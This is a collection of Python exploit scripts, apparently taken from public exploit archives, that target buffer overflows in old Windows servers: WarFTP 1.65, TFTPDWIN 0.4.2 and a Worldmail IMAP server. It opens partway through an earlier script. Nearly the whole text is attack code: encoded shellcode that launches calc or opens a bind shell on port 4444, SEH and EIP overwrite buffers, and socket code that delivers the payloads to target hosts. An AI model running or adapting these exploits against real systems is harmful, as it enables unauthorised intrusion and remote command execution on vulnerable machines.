# This address 0x7C91FCD8 is going to work for Windows XP Sp3
# if DEP is turned on for essential Windows programs and services
junk2 = 'C' * (1000 - len(eip + shellcode + nops +junk1))
buff = junk1 + eip + nops + shellcode + junk2
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Connecting with server..."
try:
s.connect(('127.0.0.1',21))
print s.recv(1024)
s.send('USER ' + buff + '\r\n')
print s.recv(1024)
s.close()
except:
print "Connection Error"
# Date: 25/05/2012
# Author: rekcahemaL free industries
# Software: WarFTP 1.65 (USER) Remote Buffer Overflow SEH overflow Exploit
# Tested on: Windows XP SP3 EN, no DEP used.
# Originally Taken From: milw0rm.com [2007-03-15]
# CVE: N/A
from struct import pack
import socket, sys
# Execute calc
shellcode =("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42"
"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a"
"\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c"
"\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57"
"\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50"
"\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d"
"\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f"
"\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a"
"\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76"
"\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65"
"\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78"
"\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f"
"\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65"
"\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d"
"\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31"
"\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69"
"\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61"
"\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70"
"\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42")
junk1 = 'A' * 485
eip = 'B' * 4 # Just Marking the EIP
nops1 = '\x90' * 80 # The NOP instructions
nops2 = '\x90' * 10 # The NOP instructions
nseh = pack('I',0x90906EB) # Pointer to next SEH, short jump
seh = pack('I', 0x5f4a15b0) # SE Handler: 0x5f4a15b0
buff = junk1 + eip + nops1 + nseh + seh + nops2 + shellcode + nops2
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Connecting with server..."
try:
s.connect(('192.168.208.128',21))
print s.recv(1024)
s.send('USER ' + buff + '\r\n')
print s.recv(1024)
s.close()
except:
print "Connection Error"
# Date: 28/05/2012
# Author: rekcahemaL free industries
# Software:TFTPDWIN TFTP Server v0.4.2
# Download from: http://www.aushack.com/vulnerablesoftwaredownloads/
# Tested on: Windows XP SP2 EN, no DEP used.
# Originally Taken From: milw0rmcom [2007-01-15]
# CVE: N/A
import socket
import sys
UDP_IP="192.168.208.128"
UDP_PORT=69
nop0="\x90"*15
asm="\x8b\xc3\x66\x05\x12\x01\x50\xc3"
nop="\x90"*57
nop1="\x90"*7
eip="\x42\xfb\x61\x40"# pop ebp,ret in tftpdexe
#A binary translation of NGS Writing Small Shellcode by Dafydd Stuttard with:
#1)bind port, in this exploit is 4444
#2)4 bytes added to the shellcode, not to see the window of cmd on remote host
shellcode = ("\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64"
"\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C"
"\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77"
"\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60"
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF"
"\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7"
"\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B"
"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4"
"\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3"
"\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4"
"\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44"
"\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50"
"\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8")
buf = "\x00\x01" + nop0 + asm + nop + shellcode + nop1 + eip + "\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00"
print " + Malicious request sent \n"
sock = socket.socket( socket.AF_INET,socket.SOCK_DGRAM ) # UDP
sock.sendto( buf, (UDP_IP, UDP_PORT) )
print "Exploit sent"
# Date: 02/05/2013
# Author: rekcahemaL free industries
# Software:TFTPDWIN Worldmail IMAP Server v3
# Download from: http://www.aushack.com/vulnerablesoftwaredownloads/
# Tested on: Windows XP SP1,SP2 EN, no DEP used.
# Originally Taken and modified From: http://www.bnxnet.com/2012/10/
# CVE: N/A
import sys
import socket
# windows/shell_bind_tcp - 341 bytes
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,
# EXITFUNC=thread
shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
# Carbage of 770 length used to overwrite the seh
carbage = 770
# pop pop ret
ppr = "\xeb\x06\x90\x90"
# Overwrite at 774 = seh
sehpr = "\x9a\x74\x05\x60"
#jump back 700 bytes - E9 FF FF 44
jumpBack = "\xe9\x44\xfd\xff\xff"
# Create a pool of nops
nops = '\x90'
buffer = nops*120
buffer += shellcode
buffer += nops * (carbage - (len(shellcode)+120))
buffer += ppr
buffer += sehpr
buffer += nops * 8
buffer += jumpBack
buffer += "b" * (1500-len(buffer))
buffer += "}"
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect(('192.168.11.21',143))
data = con.recv(1024)
print("Bind shell...")
try:
con.send('a001 LIST ' +buffer+'\r\n')
data = con.recv(1024)
print("Received : " + data)
except:
print "- Connection down -"
con.close()
